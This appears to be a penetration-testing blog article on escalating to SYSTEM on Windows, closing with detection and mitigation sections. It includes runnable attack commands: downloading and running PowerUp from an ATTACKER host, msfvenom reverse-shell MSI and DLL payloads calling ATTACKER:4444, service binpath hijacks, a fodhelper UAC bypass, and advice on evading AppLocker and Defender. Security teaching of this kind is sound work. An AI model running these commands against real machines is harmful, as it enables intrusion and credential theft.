Windows Privilege Escalation: Techniques and Tools to Obtain SYSTEM

A guide to privilege escalation on Windows: enumeration, vulnerable services, token impersonation, DLL hijacking, UAC bypass, detection, and mitigations.
- Posted on 2026-07-20
- Reading time: 15 min
Privilege Escalation on Windows: Techniques to Obtain SYSTEM #
Local privilege escalation on Windows exploits service misconfigurations, incorrect file/registry permissions, token impersonation, and known vulnerabilities to escalate from a non-privileged user to SYSTEM or Administrator. It's the mandatory step after any foothold on a Windows machine.
On any compromised Windows machine, the first objective after logging in is to become SYSTEM or local Administrator. Not because it's always necessary for the engagement objective, but because only with that level of access can you extract credentials from LSASS (see Mimikatz ), install software, and gain complete control of the machine for the next pivot.
Administrator vs SYSTEM: Administrator is an account with elevated privileges but still subject to some restrictions (UAC, some protected processes); SYSTEM is the account under which the kernel itself runs and has full access, including direct access to LSASS without additional restrictions.
Most PEs found in real pentests are trivial misconfigurations—unquoted service paths, writable folders, AlwaysInstallElevated—not zero-day kernel exploits. The correct flow is: automatic enumeration → manual analysis of results → exploit the most reliable vector, reserving kernel exploits as a last resort.
Classified by MITER ATT&CK primarily as T1068 (Exploitation for Privilege Escalation) and T1134 (Access Token Manipulation), as well as T1543.003 (Create or Modify System Process: Windows Service), T1574.001 (DLL Search Order Hijacking), T1548.002 (Bypass User Account Control), and T1053.005 (Scheduled Task).
Where to Start Based on Your Access #
| Initial context | Priority control |
|---|---|
| Standard user | Services, ACLs on files/registry, scheduled tasks, saved credentials |
| Service accounts (IIS, MSSQL, etc.) | Token and SeImpersonatePrivilege |
| Local Administrator with filtered token (UAC) | Integrity level and UAC bypass |
| System not updated | Kernel vulnerabilities/applicable patches |
| Writable application directory | DLL hijacking and binary replacement |
| Special privileges present (whoami /priv) | SeBackup, SeRestore, SeDebug, SeLoadDriver |
Cheat Sheet — Privilege Escalation Windows #
| Carrier | Requirement | tool | MITER |
|---|---|---|---|
| SeImpersonatePrivilege | Service account / IIS / MSSQL | PrintSpoofer, GodPotato, SweetPotato | T1134 |
| SeBackupPrivilege | Account with backup rights | Offline SAM/NTDS Backup | T1134 |
| SeDebugPrivilege | Admin without SYSTEM | Mimikatz, LSASS dump | T1134 |
| Unquoted service path | Space in the unquoted path | Custom binary in intermediate path | T1574 |
| Weak service ACL | Writable service | sc.exe config → exec custom | T1543.003 |
| DLL hijacking | Missing DLL in writable path | Custom DLL | T1574.001 |
| AlwaysInstallElevated | Both registry keys = 1 | MSI payload | T1548 |
| Writable scheduled task | Writable binary task | Track replacement | T1053.005 |
| UAC bypass | User already Administrator, token filtered | Fodhelper, UACME | T1548.002 |
Automatic Enumeration #
Before manual research, launch automatic tools — they quickly cover the most common vectors.
# WinPEAS — enumerazione completa e colorata
.\winPEASx64.exe
# PrivescCheck — alternativa PowerShell nativa, molto usata
Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck
# SharpUp — solo privilege escalation paths
.\SharpUp.exe audit
# PowerUp — framework PowerShell dedicato
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1')
Invoke-AllChecks
# Seatbelt — situational awareness + PE
.\Seatbelt.exe -group=allSee: WinPEAS , Seatbelt , SharpUp.
Listing Active Defenses Before Taking Action #
Before launching the automated tools mentioned above or any custom payload, it's a good idea to understand what's already active to protect the machine. Defender, AppLocker, WDAC, the Firewall, and PowerShell's language mode determine which techniques are viable and which will be blocked or logged immediately. Running WinPEAS or a generic msfvenom payload against an endpoint with AppLocker enforced and Defender enabled, without first understanding what's allowed, will almost certainly trigger an immediate alert.
Enumeration logic:
- Check what's active (Defender, AppLocker/WDAC, Firewall, Language Mode)
- Find paths that AppLocker considers “trusted” (Allow rules)
- Check if you can write to those paths
- Search for available certificates for signing code, if you need to bypass signature-based checks
- Look for tasks/services running under privileged users, which you can correlate with the findings in the previous points — this ties directly into the Scheduled Tasks section later in this article.
Microsoft Defender #
Get-MpComputerStatus | Select-Object AMRunningMode, RealTimeProtectionEnabledRealTimeProtectionEnabled = True This means that any binary written to disk is scanned upon writing/execution — a tool known as WinPEAS or a generic msfvenom payload will almost certainly be intercepted.
:: Verifica rapida via service control
sc query windefend
:: Enumerazione generica di qualsiasi prodotto AV registrato (non solo Defender)
wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayNameAppLocker #
# Stato enforcement per categoria di regola
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections | Select-Object RuleCollectionType, EnforcementMode
# Regole complete (verbose) — utile per vedere ogni singola condizione
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections | Format-List
# Solo le regole Allow — sono i percorsi/publisher che puoi sfruttare
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections | Format-List | Out-String | Select-String "Allow"
# Export XML completo, più comodo da rileggere offline
Get-AppLockerPolicy -Effective -Xml:: Equivalente registry, utile se i cmdlet AppLocker non sono disponibili
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2Paths commonly whitelisted by AppLocker. Default policies often allow anything to run inside C:\Windows o C:\Program Files, assuming they are paths under administrative control. The problem: there are subdirectories writable even by non-privileged users right inside these "trusted" paths:
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\Tasks
C:\Windows\SysWOW64\Tasks
C:\Windows\Tasks
C:\Windows\Registration\CRMLog
C:\Windows\System32\com\dmp
C:\Windows\System32\FxsTmp
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\FxsTmp
C:\Windows\Temp
C:\Windows\TracingIf AppLocker allows generic execution from C:\Windows Without excluding these subdirectories, a binary copied to one of these locations will execute without violating policy. Always verify effective writableness before relying on one of these paths, as it varies from environment to environment:
icacls "C:\Windows\Tasks"Other documented conceptual bypasses for AppLocker, to be verified on a case-by-case basis against the target's actual policy:
- Path-based rules too permissive — a rule like
%OSDRIVE%*\allowed*allows you to create a folder calledallowedanywhere on the disk and make it considered trustworthy - Alternative PowerShell Binaries — many policies only block
%System32%\WindowsPowerShell\v1.0\powershell.exe, forgetting%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exeoPowerShell_ISE.exe - LOLBins — legitimate binaries already signed and whitelisted (see LOLBins) often still allow the execution of arbitrary code in their context
- DLL enforcement — rarely enabled due to the performance burden it entails, so a malicious DLL can often run even where executables are blocked
WDAC (Windows Defender Application Control) #
WDAC is a newer, more granular enforcement control mechanism than AppLocker, often enforced alongside or instead of AppLocker.
:: Verifica presenza di policy WDAC sul sistema
dir C:\Windows\System32\CodeIntegrity\Unlike AppLocker, WDAC can be applied in a way that also blocks execution in memory and the use of unsigned .NET assemblies — determining which of the two controls (or both) is actually being enforced is a step that heavily influences the choice of the subsequent technique.
PowerShell Language Mode #
$ExecutionContext.SessionState.LanguageModeFullLanguage— no restrictions, all .NET cmdlets and APIs are availableConstrainedLanguage(CLM) — almost always indicates that AppLocker or WDAC is enforcing and limiting what PowerShell can do (nothingAdd-Type, limited access to many .NET classes, obfuscated scripts often fail silently)
In CLM, many PowerShell-based attack tools (PowerUp, Invoke-Mimikatz, etc.) stop working properly. In this scenario, equivalent pure CMD commands (such as the polling loop described later in this article) remain a viable alternative because they bypass the restricted PowerShell engine.
Firewall #
netsh advfirewall show allprofiles stateCheck the status for each profile (Domain, Private, Public) — useful for understanding whether, after escalation, it will be possible to open outbound connections for a reverse shell or whether alternative pivoting techniques will be needed.
# Regole di blocco effettive attualmente applicate
Get-NetFirewallRule -PolicyStore ActiveStore | Where-Object { $_.Action -eq "Block" } | Select-Object DisplayName, DirectionCertificates Available #
Get-ChildItem Cert:\LocalMachine\ -Recurse
Get-ChildItem Cert:\LocalMachine\My | Select-Object Thumbprint, Subject, HasPrivateKey
Get-ChildItem Cert:\CurrentUser\My
Get-ChildItem Cert:\CurrentUser\ -RecurseIf an AppLocker/WDAC policy is based on publisher signature rather than path, an available code-signing certificate with an accessible private key can allow you to sign your own binary and make it fall under the Allow rules.
Token Impersonation — SeImpersonatePrivilege #
SeImpersonatePrivilege is the most common PE vector in Windows environments. It is assigned by default to IIS AppPool, service accounts, SQL Server, and other services—and allows SYSTEM token impersonation via COM coercion techniques known as potato attacks.
# Verifica i propri privilegi
whoami /priv | findstr /i "impersonate assignprimary"Potato Family — When to Use Which One #
| tool | OS Indicative Target | Requirement | Note |
|---|---|---|---|
| God Potato | Server 2012-2022 | If you impersonate | Project stated support up to Server 2022 |
| PrintSpoofer | Win10/Server2016+ | If you impersonate | Use the Print Spooler service |
| SweetPotato | Win7-Win10 | SeImpersonate/SeAssign | Multi-vector, try more techniques |
| RoguePotato | Win10/Server2019 | If you impersonate | Alternative when JuicyPotato doesn't work |
| EfsPotato | Various | If you impersonate | Via MS-EFSR (EFS) |
# GodPotato
.\GodPotato.exe -cmd "cmd /c whoami"
# PrintSpoofer
.\PrintSpoofer64.exe -i -c "cmd /c whoami"
# SweetPotato — prova più vettori automaticamente
.\SweetPotato.exe -a "cmd.exe /c whoami"The effectiveness of a Potato attack depends on the Windows version, the services available, the patches applied, and the coercion vector used — it should not be considered a universally working technique, but rather a path to be tested on a case-by-case basis based on the available privilege.
Checking for Applicable Kernel Exploits #
Only after you have ruled out the most common misconfigurations, check if there are kernel CVEs applicable to the exact build of your machine:
# Versione e build esatta prima di tutto
systeminfo | findstr /i "os name os version build"
[System.Environment]::OSVersion.Version
# Watson — identifica CVE applicabili alla versione Windows corrente
.\Watson.exe# WES-NG da Linux — analizza systeminfo e genera CVE list
python3 wes.py systeminfo.txt --exploits-only -i "Elevation of Privilege"See: WES-NG.
Rather than relying on a static CVE list (which quickly ages), always check your installed KBs against the MSRC catalog and the CISA KEV for known vulnerabilities actively exploited at the time of testing. Kernel exploits remain a last resort: they are often unstable and can cause crashes (BSODs) on the target machine.
Service Misconfigurations #
Unquoted Service Paths #
Services with unquoted paths and spaces in the path are vulnerable: Windows tests each path prefix as executable.
# PowerShell — metodo consigliato (WMIC è deprecato ed è funzionalità opzionale disabilitata di default nelle build moderne)
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' } | Select-Object Name, PathName
# PowerUp
Get-ServiceUnquoted | Select-Object Name, PathName, StartNameExample of exploitation:
Path: C:\Program Files\My Service\MyApp.exe
Windows prova: C:\Program.exe → C:\Program Files\My.exe → C:\Program Files\My Service\MyApp.exeSe C:\Program Files\ it is writable, a binary called Program.exe in that location it is executed by the service as SYSTEM.
Weak Service Binary and Config Permissions #
# PowerUp — servizi con binary scrivibile
Get-ModifiableServiceFile | Select-Object ServiceName, Path
# PowerUp — servizi con config modificabile (sc.exe config)
Get-ModifiableService | Select-Object ServiceName
# Manuale — permessi sul binario
icacls "C:\Program Files\VulnerableService\service.exe"
# Manuale — permessi e configurazione del servizio
sc.exe sdshow VulnerableService
sc.exe qc VulnerableService# Exploit: sostituzione del binario
Copy-Item .\malicious.exe "C:\Program Files\VulnerableService\service.exe" -Force
sc.exe start VulnerableService
# Exploit: cambio del binpath del servizio
sc.exe config VulnerableService binpath= "C:\temp\malicious.exe"
sc.exe start VulnerableServiceTo quickly identify services with ImagePath non-standard across the entire register:
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { try { (Get-ItemProperty $_.PSPath).ImagePath } catch {} }Service Permissions Decoding (SDDL) #
sc.exe sdshow returns the service’s permissions in Security Descriptor Definition Language (SDDL) format — a barely legible string that tells you exactly who can modify, start, or reconfigure that service.
sc.exe sdshow NomeServizio
sc.exe qc NomeServizioThe SDDL output should be decoded to determine if a low-privileged group (e.g. Authenticated Users, Everyone) has write rights to the service. Online tools or PowerShell scripts dedicated to SDDL decoding translate the string into a readable list of trustees and permissions (e.g., RPWPDTLOCRRC for an ACE that includes write property, delete, change of owner). If you don't find the service by name, search among all the ImagePath non-standard:
reg query "HKLM\SYSTEM\CurrentControlSet\Services" /s /v ImagePath | findstr /i /v "system32 syswow64 microsoft"Once a writeable service is identified via SDDL, the exploit is the same as described above: modify the binpath and restart the service.
Weak Registry Permissions on Service Key #
Distinct from binary writable or config via sc.exe: here is the registry key of the service itself (HKLM\System\CurrentControlSet\Services\<nome>) to have too permissive permissions, allowing rewriting ImagePath directly via register without going through sc.exe config.
# Controlla i permessi sulla chiave di un servizio specifico
Get-Acl HKLM:\System\CurrentControlSet\Services\NomeServizio | Format-List
# Cerca ACE tipo "NT AUTHORITY\INTERACTIVE Allow FullControl" o simili per gruppi a basso privilegio:: accesschk (Sysinternals) — equivalente più leggibile
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\NomeServizioIf the group you are working with has FullControl (or at least writing) on the key, you can rewrite directly ImagePath:
reg add HKLM\System\CurrentControlSet\Services\NomeServizio /v ImagePath /t REG_EXPAND_SZ /d C:\Windows\Temp\backdoor.exe /f
net start NomeServizioA particular case historically exploited in this way is the service regsvc/upnphost in some legacy builds, often cited as a teaching example precisely because its registry key was writable by low-privileged groups in non-hardened configurations.
accesschk — Extended Enumeration of Weak Permissions #
accesschk.exe (Sysinternals) remains the reference tool for bulk enumerating weak permissions on files, folders, services and registry keys, more readable than a manual cycle of icacls:
:: Permessi su tutti i servizi per un gruppo specifico
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
:: Cartelle scrivibili da un gruppo, ricorsivo su tutto il disco
accesschk.exe /accepteula -uwdqs "Authenticated Users" C:\
accesschk.exe /accepteula -uwdqs "Everyone" C:\
:: File scrivibili da un gruppo, ricorsivo
accesschk.exe /accepteula -uwqs "Authenticated Users" C:\*.*The output highlights directly RW o SERVICE_ALL_ACCESS/FILE_ALL_ACCESS for the queried trustee, avoiding having to manually interpret each individual SDDL or ACL.
AlwaysInstallElevated #
If both registry keys are set to 1, any MSI is installed as SYSTEM.
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedmsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi -o evil.msimsiexec /quiet /qn /i C:\temp\evil.msiDLL Hijacking #
When an executable looks for a DLL in a writable path before finding it in System32:
# PowerUp
Find-ProcessDLLHijack | Select-Object ProcessName, Path
# Verifica SafeDllSearchMode
reg query "HKLM\System\CurrentControlSet\Control\Session Manager" /v SafeDllSearchModeProcess Monitor (Sysinternals), filtered on “NAME NOT FOUND” for .dll, remains the most reliable tool for observing in real time which DLLs a process is looking for but is not finding.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll -o evil.dllCopy-Item evil.dll "C:\Program Files\VulnerableApp\missing.dll"Scheduled Tasks and Registry Autoruns #
# Scheduled task con binario scrivibile
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"} | ForEach-Object {
$path = $_.Actions.Execute
if ($path) { icacls $path }
}
# PowerUp
Get-ModifiableScheduledTaskFile | Select-Object TaskName, TaskFilePath
# Registry autoruns con path scrivibile
Get-ModifiableRegistryAutoRun | Select-Object Path, ModifiablePathSee dedicated article: Scheduled Task.
Real-Time Enumeration — The Windows Equivalent of PSpy #
On Linux, pspy allows you to observe processes launched by other users without elevated privileges—especially useful for intercepting scheduled tasks or scripts periodically executed by a privileged account. There's no identical tool on Windows, but the same principle can be achieved with a polling loop in PowerShell or CMD.
# Mostra i nuovi processi non appena compaiono
$prev = @()
while($true) {
$curr = Get-Process | Select-Object -ExpandProperty Name
$new = $curr | Where-Object { $prev -notcontains $_ }
if ($new) { $new }
$prev = $curr
Start-Sleep 2
}# Filtra per un processo specifico (utile per intercettare tool amministrativi lanciati periodicamente)
while($true) {
Get-Process | Where-Object { $_.Name -like "*bginfo*" -or $_.Name -like "*autoit*" }
Start-Sleep 2
}:: Equivalente in CMD puro — funziona anche in Constrained Language Mode (CLM), dove molti script PowerShell offensivi vengono bloccati
FOR /L %i IN (0,1,1000) DO (tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" & ping -n 2 127.0.0.1 > NUL)Difference with schtasks: schtasks /query show tasks scheduled (the Windows equivalent of crontab), but it doesn't tell you if and when they're actually executed. The loops above instead observe the processes running in real time — useful for capturing a privileged binary at the exact moment it is running, including the user executing it:
# Mostra anche il nome utente proprietario del processo, per un intervallo di tempo definito
$end = (Get-Date).AddMinutes(5)
$prev = @()
while ((Get-Date) -lt $end) {
$curr = Get-WmiObject Win32_Process | Select-Object Name, CommandLine, @{N='User';E={$_.GetOwner().User}}
$new = $curr | Where-Object { $prev.Name -notcontains $_.Name }
if ($new) { $new }
$prev = $curr
Start-Sleep 2
}This technique is particularly useful when an automated tool (WinPEAS, PowerUp) does not report anything abnormal in scheduled tasks, but you suspect that a privileged process is periodically running outside the standard scheduler (e.g. a maintenance script launched by another service).
Privileged Credentials as an Indirect Escalation Path #
Autologous, cmdkey /listDPAPI, XML files with passwords aren't privilege escalation per se—they're credential discovery/access. They only become an escalation vector when they allow authentication as a higher-privileged account on the same machine.
:: Credenziali salvate da cmdkey
cmdkey /list
runas /savecred /user:DOMAIN\Administrator "cmd.exe"
:: File di configurazione con credenziali plaintext
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul
:: Ricerca generica di password in file di configurazione
findstr /SIM /C:"pass" *.ini *.cfg *.xml# Cerca ImagePath sospetti con pattern di credenziali (es. password passate come parametro)
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" |
ForEach-Object { try { (Get-ItemProperty $_.PSPath).ImagePath } catch {} } |
Select-String -Pattern ' -p |password|pass|cred'# RunasCs — esegue comandi con credenziali trovate, senza bisogno di una sessione interattiva
.\RunasCs.exe utente password "cmd /c whoami" -r ATTACKER:4444See also Credential Dumping , Mimikatz , LaZagne.
Group Policy Preferences (GPP) — cpassword #
The old Group Policy Preferences allowed credentials (e.g., for local administrator accounts) to be distributed via AES-encrypted XML files stored in SYSVOL. The problem: Microsoft published the private AES key in its documentation, making the encryption reversible by anyone with read access to SYSVOL—that is, any authenticated domain user.
# Cerca file XML con cpassword in SYSVOL
findstr /S /I cpassword \\domain.local\sysvol\*.xml# gpp-decrypt — decifra il cpassword trovato
gpp-decrypt -f groups.xml
gpp-decrypt -c "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"Microsoft has released patch MS14-025 , which prevents the creation of new GPPs with credentials—but it doesn't remove existing XML files from previous configurations, which is why this technique remains valid in many legacy environments that haven't been manually cleaned up. If the found credential belongs to a local administrator account distributed across multiple machines (a common scenario for this type of GPP), the access gained often applies to the entire fleet of machines linked to that policy, not just the current host.
UAC Bypass #
A UAC bypass does not make a standard user an Administrator . The prerequisite is that the user is already a member of the Administrators group but is operating with a filtered token (medium integrity) due to UAC—the goal is to achieve a high-integrity process, not SYSTEM.
# Verifica il livello di integrità corrente
whoami /groups | findstr "Mandatory Level"
# Medium Mandatory Level = token filtrato da UAC, pur essendo nel gruppo Administrators# Fodhelper — bypass via registry (Windows 10/11, dipende da versione e configurazione)
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start cmd.exe" -Force
Start-Process fodhelper.exe# UACME — raccolta di metodi di bypass UAC documentati, l'efficacia varia per versione
.\Akagi64.exe 23 C:\temp\payload.exe # metodo 23 — fodhelper
.\Akagi64.exe 41 C:\temp\payload.exe # metodo 41 — via Disk CleanupUAC's same-desktop elevation is not considered a complete security boundary by Microsoft itself, but it remains a risk reduction mechanism that should not be underestimated during hardening.
Detection #
Create/edit services and tasks:
- Event ID 7045 — installing a new service (often used for PE via service binary replacement)
- Event ID 4697 — installed service, to be monitored especially on sensitive hosts
- Event ID 4698 — creating a scheduled task
Process execution:
- Event ID 4688 o Sysmon Event ID 1 — process creation with complete command line
- Execution of
PrintSpoofer.exe,GodPotato.exe,SweetPotato.exe— behavioral signature known to EDRs - Abnormal execution of
fodhelper.exe,msiexec.exe,sc.exe,schtasks.exewith unusual parent process
Filesystem and registry:
- Sysmon Event ID 11 — file creation/replacement, useful for DLL hijacking and binary replacement
- Sysmon Event ID 12/13/14 — registry changes, including
ImagePathof services and keysAlwaysInstallElevated - Sysmon Event ID 17/18 — anomalous named pipes (relevant for coercion-based Potato attacks)
Behavioral signs:
- High integrity child process with unusual parent chain
- Loading unexpected drivers
- Create and immediately execute an MSI via
msiexec /quiet
Signals related to the enumeration of defenses:
- Event Viewer → Applications and Services Logs → Microsoft → Windows → AppLocker logs every block or audit-only event, including failed attempts
- Repeated execution of
Get-AppLockerPolicy -EffectiveoGet-MpComputerStatusfrom a non-administrative context it is a reconnaissance pattern easily distinguishable from a legitimate administrative use - Writing new files inside the “trusted” subdirectories listed above (e.g.
C:\Windows\Tasks,C:\Windows\Tracing) is a high-value signal, because under normal conditions those directories receive very little writing from non-system processes
Windows Event Forwarding centralizes this telemetry from multiple hosts, making the correlation described above feasible at domain scale.
Mitigation #
- Correct ACLs on services, binaries, directories and registry keys — no service should have binaries or configuration writable by non-administrative users
- Service path always in quotation marks when they contain spaces
- Disable AlwaysInstallElevated unless documented need
- Regular patches on Windows and third-party software, with verification against MSRC and CISA KEV
- Limit SeImpersonatePrivilege, SeDebugPrivilege and other user rights sensitive only to accounts that really need them
- Remove unnecessary users from local administrators
- Windows LAPS for automatic password rotation of local administrators
- Credential Guard to isolate secrets through virtualization-based security
- WDAC or AppLocker to restrict the execution of unauthorized binaries, scripts, and MSIs
- Administrative accounts on workstations and sessions separate from those used for daily activities
- Avoid saving privileged credentials on untrusted endpoints (XML files, scripts, cmdkeys)
- Path-based AppLocker rules should be accompanied by a periodic audit of writable subdirectories within the “trusted” paths (
C:\Windows,C:\Program Files), not assumed to be certain a priori - Prefer publisher/signature-based AppLocker rules over purely path-based rules where possible
- WDAC in enforced mode, not just audit, significantly reduces the surface area left by AppLocker alone
- Monitor PowerShell Language Mode on Endpoints: A user who is consistently operating in
FullLanguageon a host where you would expectConstrainedLanguageindicates a policy not applied correctly
FAQ #
What's the difference between Administrator and SYSTEM? Administrator is a highly privileged account, but still subject to some system restrictions; SYSTEM has full access to the operating system, including direct access to LSASS, without the limitations that also apply to Administrator.
What privileges allow privilege escalation on Windows?
The main ones are SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege, SeLoadDriverPrivilege and SeTakeOwnershipPrivilege — their presence should always be checked with whoami /priv.
When does a Potato attack work? When the current process has SeImpersonatePrivilege or equivalent privileges. The effectiveness of each technique (GodPotato, PrintSpoofer, etc.) depends on the Windows version, the patches applied, and the services available on the machine.
How do I detect an Unquoted Service Path?
With Get-CimInstance Win32_Service by filtering paths without quotes that contain a space, or with the PowerUp module Get-ServiceUnquoted.
Does WinPEAS automatically execute exploits? No—WinPEAS enumerates and reports potential vectors, but doesn't automatically exploit anything. Exploitation remains a manual, subsequent step.
Does a UAC bypass work as a standard user? No. It requires the user to already be a member of the Administrators group; the goal is to achieve a high-integrity process, not to become an administrator from a non-administrator account.
Additional Enumeration Sources #
PowerShell History #
PSReadLine saves the history of PowerShell commands executed by the current user to a text file — useful for finding mistyped credentials in clear text, custom script paths, or revealing commands about the environment.
type (Get-PSReadlineOption).HistorySavePathDomain Context Enumeration #
When the machine is part of a domain, before proceeding with local privilege escalation it is a good idea to also collect the surrounding AD context — useful for understanding whether it is better to aim for a local escalation path or whether it is more efficient to move towards domain enumeration (see Active Directory ):
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
nltest /dclist:
nltest /domain_trusts
net group "Domain Admins" /domainEvent Log Mining #
Windows logs can reveal useful information both for privilege escalation and to understand what the blue team has already observed on the machine:
# Verifica presenza di soluzioni di monitoring/EDR (es. Splunk) dai log applicativi
Get-EventLog -LogName "Application" | Where-Object {$_.Message -like '*splunkd*'} | Select-Object TimeCreated, Message | Format-Table -Wrap
# Logon riusciti (4624) — utile per capire quali account si sono autenticati su questa macchina
Get-EventLog -LogName "Security" -InstanceId 4624 | Select-Object TimeCreated, @{N='User';E={$_.ReplacementStrings[5]}}, @{N='LogonType';E={$_.ReplacementStrings[8]}} | Format-Table
# Logon falliti (4625)
Get-EventLog -LogName "Security" -InstanceId 4625 | Select-Object TimeCreated, Message | Format-Table -Wrap
# PowerShell Script Block Logging (4104) — se abilitato, mostra il contenuto reale degli script eseguiti, incluse eventuali credenziali hardcoded
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Id -eq 4104} | Select-Object TimeCreated, Message | Format-Table -Wrap
# Installazione servizi (7045) — utile anche in fase difensiva per individuare PE già avvenute
Get-EventLog -LogName "System" | Where-Object {$_.EventID -eq 7045} | Select-Object TimeCreated, Message | Format-Table -WrapLogons of type 4624 related to a LogonType interactive or RDP can indicate which privileged accounts periodically authenticate to the machine — useful data for scheduling the polling loop described above and intercepting that account when it is active.
To take logs off the machine for offline analysis:
Get-EventLog -LogName "Security" -Newest 1000 | Export-Csv C:\temp\sec_log.csv -NoTypeInformationOffline copies of the SAM #
In addition to explicit backup with reg save already described in Credential Dumping, on some builds there may be residual copies of the SAM in legacy paths, useful if readable:
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\RegBack\systemOn modern builds these copies are often empty or missing for hardening reasons, but it's worth checking before resorting to reg save explicit, which is louder.
Third Party Drivers #
driverquery /v /fo csvGet-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, ManufacturerOut-of-date third-party drivers are a common vector for kernel exploits (see the dedicated section above) — it is useful to cross-reference this output with the CVE catalog before discarding the kernel hypothesis.
Pivoting towards Locally Exposed Services #
When netstat -ano reveals a service listening only on 127.0.0.1 (therefore unreachable from the outside), a simple port forward via a binary already present on the machine still allows the attacker to reach it:
netstat -ano:: plink — port forward verso l'attaccante per un servizio locale-only
plink.exe -R <porta_remota_su_attaccante>:127.0.0.1:<porta_locale_servizio> root@<IP_ATTACCANTE>See also the more modern approach with Chisel or proxychains for the same goal.
Note on AMSI Bypass #
Some enumeration scripts or PoCs circulating online include AMSI (Antimalware Scan Interface) bypass techniques to execute PowerShell code that would otherwise be blocked before it even runs. These techniques—particularly the older ones based on the in-memory patch from the field amsiInitFailed —are widely known and signed by most modern EDRs: they should be considered more of a learning tool for understanding the AMSI mechanism, not a reliable evasion method in an environment with up-to-date detection. In a real-world engagement, always verify whether the specific technique is still effective against the target's EDR before relying on it.
Conclusion #
Most PEs found in real pentests don't require kernel exploits—service misconfigurations, incorrect permissions, or stored credentials suffice. The correct flow remains: automatic enumeration (WinPEAS/PrivescCheck/PowerUp) → manual analysis of results → exploiting the most reliable vector for the specific context, reserving kernel exploits as a last resort due to the risk of instability they pose.
Resources:








